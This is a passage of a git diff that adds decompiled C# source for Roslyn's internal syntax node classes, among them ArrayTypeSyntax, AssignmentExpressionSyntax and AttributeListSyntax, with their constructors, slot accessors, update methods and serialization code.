elementType; + if (rankSpecifiers != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(rankSpecifiers); + this.rankSpecifiers = rankSpecifiers; + } + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => elementType, + 1 => rankSpecifiers, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.ArrayTypeSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitArrayType(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitArrayType(this); + } + + public ArrayTypeSyntax Update(TypeSyntax elementType, SyntaxList rankSpecifiers) + { + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + if (elementType != ElementType || rankSpecifiers != RankSpecifiers) + { + ArrayTypeSyntax arrayTypeSyntax = SyntaxFactory.ArrayType(elementType, rankSpecifiers); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + arrayTypeSyntax = GreenNodeExtensions.WithDiagnosticsGreen(arrayTypeSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + arrayTypeSyntax = GreenNodeExtensions.WithAnnotationsGreen(arrayTypeSyntax, (IEnumerable)annotations); + } + return arrayTypeSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new ArrayTypeSyntax(base.Kind, elementType, rankSpecifiers, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new ArrayTypeSyntax(base.Kind, elementType, rankSpecifiers, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal ArrayTypeSyntax(ObjectReader reader) + : base(reader) + { + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Expected O, but got Unknown + ((GreenNode)this).SlotCount = 2; + TypeSyntax typeSyntax = (TypeSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)typeSyntax); + elementType = typeSyntax; + GreenNode val = (GreenNode)reader.ReadValue(); + if (val != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val); + rankSpecifiers = val; + } + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)elementType); + writer.WriteValue((IObjectWritable)(object)rankSpecifiers); + } + + static ArrayTypeSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(ArrayTypeSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new ArrayTypeSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ArrowExpressionClauseSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ArrowExpressionClauseSyntax.cs new file mode 100644 index 0000000..36b3101 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ArrowExpressionClauseSyntax.cs @@ -0,0 +1,126 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class ArrowExpressionClauseSyntax : CSharpSyntaxNode +{ + internal readonly SyntaxToken arrowToken; + + internal readonly ExpressionSyntax expression; + + public SyntaxToken ArrowToken => arrowToken; + + public ExpressionSyntax Expression => expression; + + internal ArrowExpressionClauseSyntax(SyntaxKind kind, SyntaxToken arrowToken, ExpressionSyntax expression, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)arrowToken); + this.arrowToken = arrowToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expression); + this.expression = expression; + } + + internal ArrowExpressionClauseSyntax(SyntaxKind kind, SyntaxToken arrowToken, ExpressionSyntax expression, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)arrowToken); + this.arrowToken = arrowToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expression); + this.expression = expression; + } + + internal ArrowExpressionClauseSyntax(SyntaxKind kind, SyntaxToken arrowToken, ExpressionSyntax expression) + : base(kind) + { + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)arrowToken); + this.arrowToken = arrowToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expression); + this.expression = expression; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => arrowToken, + 1 => expression, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.ArrowExpressionClauseSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitArrowExpressionClause(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitArrowExpressionClause(this); + } + + public ArrowExpressionClauseSyntax Update(SyntaxToken arrowToken, ExpressionSyntax expression) + { + if (arrowToken != ArrowToken || expression != Expression) + { + ArrowExpressionClauseSyntax arrowExpressionClauseSyntax = SyntaxFactory.ArrowExpressionClause(arrowToken, expression); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + arrowExpressionClauseSyntax = GreenNodeExtensions.WithDiagnosticsGreen(arrowExpressionClauseSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + arrowExpressionClauseSyntax = GreenNodeExtensions.WithAnnotationsGreen(arrowExpressionClauseSyntax, (IEnumerable)annotations); + } + return arrowExpressionClauseSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new ArrowExpressionClauseSyntax(base.Kind, arrowToken, expression, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new ArrowExpressionClauseSyntax(base.Kind, arrowToken, expression, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal ArrowExpressionClauseSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 2; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + arrowToken = syntaxToken; + ExpressionSyntax expressionSyntax = (ExpressionSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expressionSyntax); + expression = expressionSyntax; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)arrowToken); + writer.WriteValue((IObjectWritable)(object)expression); + } + + static ArrowExpressionClauseSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(ArrowExpressionClauseSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new ArrowExpressionClauseSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/AssignmentExpressionSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/AssignmentExpressionSyntax.cs new file mode 100644 index 0000000..8a314c5 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/AssignmentExpressionSyntax.cs @@ -0,0 +1,141 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class AssignmentExpressionSyntax : ExpressionSyntax +{ + internal readonly ExpressionSyntax left; + + internal readonly SyntaxToken operatorToken; + + internal readonly ExpressionSyntax right; + + public ExpressionSyntax Left => left; + + public SyntaxToken OperatorToken => operatorToken; + + public ExpressionSyntax Right => right; + + internal AssignmentExpressionSyntax(SyntaxKind kind, ExpressionSyntax left, SyntaxToken operatorToken, ExpressionSyntax right, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)left); + this.left = left; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)operatorToken); + this.operatorToken = operatorToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)right); + this.right = right; + } + + internal AssignmentExpressionSyntax(SyntaxKind kind, ExpressionSyntax left, SyntaxToken operatorToken, ExpressionSyntax right, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)left); + this.left = left; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)operatorToken); + this.operatorToken = operatorToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)right); + this.right = right; + } + + internal AssignmentExpressionSyntax(SyntaxKind kind, ExpressionSyntax left, SyntaxToken operatorToken, ExpressionSyntax right) + : base(kind) + { + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)left); + this.left = left; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)operatorToken); + this.operatorToken = operatorToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)right); + this.right = right; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => left, + 1 => operatorToken, + 2 => right, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.AssignmentExpressionSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitAssignmentExpression(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitAssignmentExpression(this); + } + + public AssignmentExpressionSyntax Update(ExpressionSyntax left, SyntaxToken operatorToken, ExpressionSyntax right) + { + if (left != Left || operatorToken != OperatorToken || right != Right) + { + AssignmentExpressionSyntax assignmentExpressionSyntax = SyntaxFactory.AssignmentExpression(base.Kind, left, operatorToken, right); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + assignmentExpressionSyntax = GreenNodeExtensions.WithDiagnosticsGreen(assignmentExpressionSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + assignmentExpressionSyntax = GreenNodeExtensions.WithAnnotationsGreen(assignmentExpressionSyntax, (IEnumerable)annotations); + } + return assignmentExpressionSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new AssignmentExpressionSyntax(base.Kind, left, operatorToken, right, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new AssignmentExpressionSyntax(base.Kind, left, operatorToken, right, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal AssignmentExpressionSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 3; + ExpressionSyntax expressionSyntax = (ExpressionSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expressionSyntax); + left = expressionSyntax; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + operatorToken = syntaxToken; + ExpressionSyntax expressionSyntax2 = (ExpressionSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expressionSyntax2); + right = expressionSyntax2; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)left); + writer.WriteValue((IObjectWritable)(object)operatorToken); + writer.WriteValue((IObjectWritable)(object)right); + } + + static AssignmentExpressionSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(AssignmentExpressionSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new AssignmentExpressionSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/AttributeArgumentListSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/AttributeArgumentListSyntax.cs new file mode 100644 index 0000000..2f0bcdf --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/AttributeArgumentListSyntax.cs @@ -0,0 +1,163 @@ +using System; +using System.Collections.Generic; +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class AttributeArgumentListSyntax : CSharpSyntaxNode +{ + internal readonly SyntaxToken openParenToken; + + internal readonly GreenNode? arguments; + + internal readonly SyntaxToken closeParenToken; + + public SyntaxToken OpenParenToken => openParenToken; + + public SeparatedSyntaxList Arguments => new SeparatedSyntaxList(SyntaxList.op_Implicit(new SyntaxList(arguments))); + + public SyntaxToken CloseParenToken => closeParenToken; + + internal AttributeArgumentListSyntax(SyntaxKind kind, SyntaxToken openParenToken, GreenNode? arguments, SyntaxToken closeParenToken, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openParenToken); + this.openParenToken = openParenToken; + if (arguments != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(arguments); + this.arguments = arguments; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeParenToken); + this.closeParenToken = closeParenToken; + } + + internal AttributeArgumentListSyntax(SyntaxKind kind, SyntaxToken openParenToken, GreenNode? arguments, SyntaxToken closeParenToken, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openParenToken); + this.openParenToken = openParenToken; + if (arguments != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(arguments); + this.arguments = arguments; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeParenToken); + this.closeParenToken = closeParenToken; + } + + internal AttributeArgumentListSyntax(SyntaxKind kind, SyntaxToken openParenToken, GreenNode? arguments, SyntaxToken closeParenToken) + : base(kind) + { + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openParenToken); + this.openParenToken = openParenToken; + if (arguments != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(arguments); + this.arguments = arguments; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeParenToken); + this.closeParenToken = closeParenToken; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => openParenToken, + 1 => arguments, + 2 => closeParenToken, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.AttributeArgumentListSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitAttributeArgumentList(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitAttributeArgumentList(this); + } + + public AttributeArgumentListSyntax Update(SyntaxToken openParenToken, SeparatedSyntaxList arguments, SyntaxToken closeParenToken) + { + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + if (openParenToken == OpenParenToken) + { + SeparatedSyntaxList val = Arguments; + if (!((ref arguments) != (ref val)) && closeParenToken == CloseParenToken) + { + return this; + } + } + AttributeArgumentListSyntax attributeArgumentListSyntax = SyntaxFactory.AttributeArgumentList(openParenToken, arguments, closeParenToken); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + attributeArgumentListSyntax = GreenNodeExtensions.WithDiagnosticsGreen(attributeArgumentListSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + attributeArgumentListSyntax = GreenNodeExtensions.WithAnnotationsGreen(attributeArgumentListSyntax, (IEnumerable)annotations); + } + return attributeArgumentListSyntax; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new AttributeArgumentListSyntax(base.Kind, openParenToken, arguments, closeParenToken, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new AttributeArgumentListSyntax(base.Kind, openParenToken, arguments, closeParenToken, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal AttributeArgumentListSyntax(ObjectReader reader) + : base(reader) + { + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Expected O, but got Unknown + ((GreenNode)this).SlotCount = 3; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + openParenToken = syntaxToken; + GreenNode val = (GreenNode)reader.ReadValue(); + if (val != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val); + arguments = val; + } + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + closeParenToken = syntaxToken2; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)openParenToken); + writer.WriteValue((IObjectWritable)(object)arguments); + writer.WriteValue((IObjectWritable)(object)closeParenToken); + } + + static AttributeArgumentListSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(AttributeArgumentListSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new AttributeArgumentListSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/AttributeArgumentSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/AttributeArgumentSyntax.cs new file mode 100644 index 0000000..7e8b87d --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/AttributeArgumentSyntax.cs @@ -0,0 +1,165 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class AttributeArgumentSyntax : CSharpSyntaxNode +{ + internal readonly NameEqualsSyntax? nameEquals; + + internal readonly NameColonSyntax? nameColon; + + internal readonly ExpressionSyntax expression; + + public NameEqualsSyntax? NameEquals => nameEquals; + + public NameColonSyntax? NameColon => nameColon; + + public ExpressionSyntax Expression => expression; + + internal AttributeArgumentSyntax(SyntaxKind kind, NameEqualsSyntax? nameEquals, NameColonSyntax? nameColon, ExpressionSyntax expression, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 3; + if (nameEquals != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)nameEquals); + this.nameEquals = nameEquals; + } + if (nameColon != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)nameColon); + this.nameColon = nameColon; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expression); + this.expression = expression; + } + + internal AttributeArgumentSyntax(SyntaxKind kind, NameEqualsSyntax? nameEquals, NameColonSyntax? nameColon, ExpressionSyntax expression, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 3; + if (nameEquals != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)nameEquals); + this.nameEquals = nameEquals; + } + if (nameColon != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)nameColon); + this.nameColon = nameColon; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expression); + this.expression = expression; + } + + internal AttributeArgumentSyntax(SyntaxKind kind, NameEqualsSyntax? nameEquals, NameColonSyntax? nameColon, ExpressionSyntax expression) + : base(kind) + { + ((GreenNode)this).SlotCount = 3; + if (nameEquals != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)nameEquals); + this.nameEquals = nameEquals; + } + if (nameColon != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)nameColon); + this.nameColon = nameColon; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expression); + this.expression = expression; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => nameEquals, + 1 => nameColon, + 2 => expression, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.AttributeArgumentSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitAttributeArgument(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitAttributeArgument(this); + } + + public AttributeArgumentSyntax Update(NameEqualsSyntax nameEquals, NameColonSyntax nameColon, ExpressionSyntax expression) + { + if (nameEquals != NameEquals || nameColon != NameColon || expression != Expression) + { + AttributeArgumentSyntax attributeArgumentSyntax = SyntaxFactory.AttributeArgument(nameEquals, nameColon, expression); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + attributeArgumentSyntax = GreenNodeExtensions.WithDiagnosticsGreen(attributeArgumentSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + attributeArgumentSyntax = GreenNodeExtensions.WithAnnotationsGreen(attributeArgumentSyntax, (IEnumerable)annotations); + } + return attributeArgumentSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new AttributeArgumentSyntax(base.Kind, nameEquals, nameColon, expression, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new AttributeArgumentSyntax(base.Kind, nameEquals, nameColon, expression, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal AttributeArgumentSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 3; + NameEqualsSyntax nameEqualsSyntax = (NameEqualsSyntax)reader.ReadValue(); + if (nameEqualsSyntax != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)nameEqualsSyntax); + nameEquals = nameEqualsSyntax; + } + NameColonSyntax nameColonSyntax = (NameColonSyntax)reader.ReadValue(); + if (nameColonSyntax != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)nameColonSyntax); + nameColon = nameColonSyntax; + } + ExpressionSyntax expressionSyntax = (ExpressionSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expressionSyntax); + expression = expressionSyntax; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)nameEquals); + writer.WriteValue((IObjectWritable)(object)nameColon); + writer.WriteValue((IObjectWritable)(object)expression); + } + + static AttributeArgumentSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(AttributeArgumentSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new AttributeArgumentSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/AttributeListSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/AttributeListSyntax.cs new file mode 100644 index 0000000..9c91937 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/AttributeListSyntax.cs @@ -0,0 +1,190 @@ +using System; +using System.Collections.Generic; +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class AttributeListSyntax : CSharpSyntaxNode +{ + internal readonly SyntaxToken openBracketToken; + + internal readonly AttributeTargetSpecifierSyntax? target; + + internal readonly GreenNode? attributes; + + internal readonly SyntaxToken closeBracketToken; + + public SyntaxToken OpenBracketToken => openBracketToken; + + public AttributeTargetSpecifierSyntax? Target => target; + + public SeparatedSyntaxList Attributes => new SeparatedSyntaxList(SyntaxList.op_Implicit(new SyntaxList(attributes))); + + public SyntaxToken CloseBracketToken => closeBracketToken; + + internal AttributeListSyntax(SyntaxKind kind, SyntaxToken openBracketToken, AttributeTargetSpecifierSyntax? target, GreenNode? attributes, SyntaxToken closeBracketToken, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 4; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openBracketToken); + this.openBracketToken = openBracketToken; + if (target != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)target); + this.target = target; + } + if (attributes != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributes); + this.attributes = attributes; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeBracketToken); + this.closeBracketToken = closeBracketToken; + } + + internal AttributeListSyntax(SyntaxKind kind, SyntaxToken openBracketToken, AttributeTargetSpecifierSyntax? target, GreenNode? attributes, SyntaxToken closeBracketToken, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 4; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openBracketToken); + this.openBracketToken = openBracketToken; + if (target != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)target); + this.target = target; + } + if (attributes != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributes); + this.attributes = attributes; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeBracketToken); + this.closeBracketToken = closeBracketToken; + } + + internal AttributeListSyntax(SyntaxKind kind, SyntaxToken openBracketToken, AttributeTargetSpecifierSyntax? target, GreenNode? attributes, SyntaxToken closeBracketToken) + : base(kind) + { + ((GreenNode)this).SlotCount = 4; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openBracketToken); + this.openBracketToken = openBracketToken; + if (target != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)target); + this.target = target; + } + if (attributes != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributes); + this.attributes = attributes; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeBracketToken); + this.closeBracketToken = closeBracketToken; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => openBracketToken, + 1 => target, + 2 => attributes, + 3 => closeBracketToken, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.AttributeListSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitAttributeList(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitAttributeList(this); + } + + public AttributeListSyntax Update(SyntaxToken openBracketToken, AttributeTargetSpecifierSyntax target, SeparatedSyntaxList attributes, SyntaxToken closeBracketToken) + { + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + if (openBracketToken == OpenBracketToken && target == Target) + { + SeparatedSyntaxList val = Attributes; + if (!((ref attributes) != (ref val)) && closeBracketToken == CloseBracketToken) + { + return this; + } + } + AttributeListSyntax attributeListSyntax = SyntaxFactory.AttributeList(openBracketToken, target, attributes, 